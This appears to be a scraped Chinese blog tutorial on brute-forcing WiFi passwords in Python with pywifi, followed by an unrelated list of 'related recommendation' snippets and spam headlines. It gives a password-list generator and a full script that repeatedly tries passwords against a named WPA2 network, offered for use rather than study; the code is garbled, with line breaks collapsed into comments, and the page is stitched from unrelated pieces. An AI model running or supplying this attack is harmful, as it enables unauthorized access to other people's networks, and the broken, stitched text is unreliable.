【第一步:安装模块】

1.首先在终端里面安装pywifi库

pip install pywifi

2.安装comtypes

pip install comtypes

想要实现穷举法破解 WiFi pywifi 和 comtypes 这两个模块都要添加,上面都完成后就可以开始写代码了

【第二步:设备要求】

方案一:如果是台式电脑 ,需要插网卡(长得像U盘的那种)

方案二:如果是笔记本电脑(不需要另外插网卡,本身自带)

【第三步:代码实现】

小测试:

import pywifi
from pywifi import const# 第一个案例
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()#获取到第一个无线网卡ifaces = wifi.interfaces()[0]# 打印网卡名称# print(ifaces.name())# 列表print(ifaces)# 打印网卡的连接状态# print(ifaces.status())  连接到的状态码:4  未连接到的状态吗:0if ifaces.status() == const.IFACE_CONNECTED:   # 这里可以直接写 4 但是别人看不懂print("已连接")else:print("未连接")
# gic()# 第二个案例  扫描附近的 WiFi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描WiFiifaces.scan()# 获取扫描结果result = ifaces.scan_results()for name in result:# ssid 是 wifi的名称 扫描出来不一定有结果,特别是台式电脑print(name.ssid)bies()

密码生成器代码:

这个效果肯定是不行的,只是做测试来使用,建议上网找一些字典,然后把密码文本载进去

import itertools as its  # 迭代器 ;as 是重命名words = "1234567890"  # 这里改成英文,那结果就是英文组合的密码
r = its.product(words,repeat=5)
dic = open("pass.txt","a") # a 模式,在文件后面追加,没有就创建
for i in r:# i 是个元组,不能直接写进文件里dic.write("".join(i))dic.write("".join("\n"))
dic.close()

完整代码:

import pywifi
from pywifi import const
import time# 1.导入模块
# 2.抓取网卡接口,一般抓第一个,而且电脑一般只有一个无线网卡
# 3.先断开自己的WiFi 否则会出现问题
# 4.进行破解读取密码本
# 5.测试连接
# 6.设置睡眠时间(延时)# 测试连接 返回连接结果
def wificonnect(pwd):# 抓取网卡接口  是个类wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开自己的 wifiifaces.disconnect()time.sleep(1)wifistatu = ifaces.status()  #接收连接状态# print(const.IFACE_DISCONNECTED) DISCONNECTED:未连接的if wifistatu == const.IFACE_DISCONNECTED:# print("未连接")# 创建新的WiFi连接文件profile = pywifi.Profile()# 要连接wifi的名称,前面的扫描就是为这一步做铺垫profile.ssid = "CMCC-sx3N"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的WiFi连接文件(把之前连接过的文件全部删除)ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件 去测试连接ifaces.connect(tep_profile)# wifi 连接时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")# wificonnect()def readPassword():print("开始破解:")# 读取密码本的路径path = ".\pass.txt"# 打开文件file = open(path,"r")# 写死循环,目的是一直去试密码while True:# 读取文件正确执行 try ;错误执行 excepttry:# readline 读取一行passStr = file.readline()bool = wificonnect(passStr)if bool:print("密码正确",passStr)# 跳出当前循环breakelse:print("密码不正确",passStr)except:# 跳出本次循环,直接进入下次循环continuereadPassword()

这里注意一下,如果不需要自己写密码生成器的话,直接创建新项目,在main.py(我把他名字改成:wifi_test1.py)里直接写完整代码就行了。

还有就是台式连网线的用这种方法是不会成功的,必须要拔掉网线插网卡。

Python穷举法连接WiFi相关推荐

  1. python穷举法_python 穷举指定长度的密码例子

    本程序可根据给定的字符字典,穷举指定长度的所有字符串: def get_pwd(str, num): if(num == 1): for x in str: yield x else: for x i ...

  2. python穷举法列举_穷举法应用举例.doc

    无 止 境 穷举法应用举例 在数学问题中, 有一些需要计算总数或种类的趣题, 因其数量关系比较隐蔽, 很难找到"正统"的方式解答,让人感到无从下手.对此,我们可以先初步估计 其数目 ...

  3. python穷举法求素数_使用Python求指数为20以内的所有梅森素数

    这篇文章将要介绍梅森素数的定义以及在Python中实现的方法. 一.梅森素数 梅森数(Mn)指的是形如2n - 1的正整数,其中指数 n 是素数. 如果一个梅森数是素数,则称其为梅森素数.例如22-1 ...

  4. 用python穷举法判断素数_Python如何判断素数

    判断一个给定的正整数是否素数 输入格式: 输入在第一行给出一个正整数n(≤ 10),随后n行,每行给出一个小于1000000 的需要判断的正整数 输出格式: 对每个需要判断的正整数,如果它是素数,则在 ...

  5. python穷举法搬砖_python 穷举法 算24点(史上最简短代码)-阿里云开发者社区

    # 作者:hhh5460 # 时间:2017年6月3日 import itertools deftwentyfour(cards): '''史上最短计算24点代码''' for nums in ite ...

  6. Python:三种方法计算最大公约数和最小公倍数(欧几里德法、穷举法、stein算法)

    Python:三种方法计算最大公约数和最小公倍数 1.穷举法 2.欧几里德法 3.Stein算法 题目:求取任意两个非负数(至多一个数为0)的最大公约数和最小公倍数: 参考资料:Python解决求最大 ...

  7. python算24点穷举法_24点游戏7节课–第1节-游戏介绍与基本算法 | 学步园

    这仅仅是一个控制台(DOS窗口下)的小游戏--有人欢喜有人烦了.欢喜的是因为可以专心于游戏逻辑自身过程,就算你只学过C++简单的屏幕输入输出(cin.cout ),乃至换用java,C#也可以写这个小 ...

  8. python计算圆周率(蒙特卡洛法/模拟法、统计法/穷举法、BBP公式)

    def calculatePI1(): #模拟统计法:蒙特卡罗方法计算圆周率import random as r #导入random模块命名为rimport math as m #导入math模块命名 ...

  9. python求两个数的最大公约数穷举法_C++求最大公约数四种方法解析

    C++求最大公约数的四种方法思路,供大家参考,具体内容如下 将最近学的求最大公约数的四种方法总结如下: 第一种:穷举法之一 解释:拿其中一个数出来,用一个临时变量(tem)保存,每次都把那两个数除以这 ...

  10. 穷举法python例子_(Python)简单线性模型与穷举优化,穷举法

    一个简单的线性模型,使用穷举法计算所有最小二乘误差,并生成分析图. import numpy as np import matplotlib.pyplot as plt # 简单线性模型-穷举法优化 ...

最新文章

  1. spring+ (activeMQ) 实现queue与topic
  2. html手机端适配怎么调试,html5面试常见问题及答案:移动端布局与适配篇
  3. 40多个漂亮的网页表单设计实例
  4. 21_异常_第21天(异常、企业面试题,思维导图下载)
  5. java 错误声音播放器_java 音频播放器出不了声音,代码里哪有问题啊?
  6. 大剑无锋之不都说面试不问mybatis,为什么我被虐了。。。【mybatis面试题】
  7. Apache Camel 2.12 –支持后退,以减少较积极的轮询路线
  8. 阿里90后工程师,如何用AI程序写出双11打call歌?
  9. c语言学习-字符串输出
  10. python入门教程 非常详细-Python编程入门教程:从入门到高级,非常详细
  11. CentOS系统中常用查看日志命令
  12. Error:java.lang.RuntimeException: Crunching Cruncher dialog_et_bg.9.png failed, see logs
  13. Python——批量发送邮件(持续更新)
  14. java必备基础5(集合list、set、map)
  15. java从网络Url中下载文件例子
  16. Ajax的readyState和status
  17. 青春饭碗——程序员,年纪大了怎么办?
  18. 【欧拉猜想】是否有无穷多个不可约分的正整数解
  19. python文件拷贝并校验_Python札记 -- 文件校验
  20. windows7环境下使用github教程(1)

热门文章

  1. 在APPLE从创建ID到申请发布AppStore账户(一)Apple ID注册自动登录
  2. Opencv项目实战:03 扫描二维码条形码
  3. 问佛 (佛是過來人,人是未來佛)
  4. Visio 下载,及密钥
  5. git本地库案例-找回删除的文件
  6. Qt实现柱状图、饼状图、折线图、曲线图
  7. web前端总结之文本超出显示省略号
  8. 最土团购系统常见问题的汇总
  9. uniapp 微信分享
  10. win10系统bug:开机自动打开空白word文档